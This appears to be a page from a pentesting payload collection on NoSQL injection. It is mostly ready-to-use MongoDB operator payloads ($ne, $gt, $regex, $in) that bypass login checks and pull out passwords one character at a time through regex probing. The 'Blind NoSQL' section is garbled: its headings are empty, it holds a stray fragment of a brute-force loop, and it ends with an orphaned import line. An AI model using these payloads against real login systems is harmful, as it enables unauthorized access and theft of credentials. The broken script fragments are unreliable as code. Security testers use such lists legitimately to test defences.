PayloadsAllTheThings/NoSQL Injection

NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "in"

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL

POST with JSON body

POST with urlencoded body

            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET

import requests
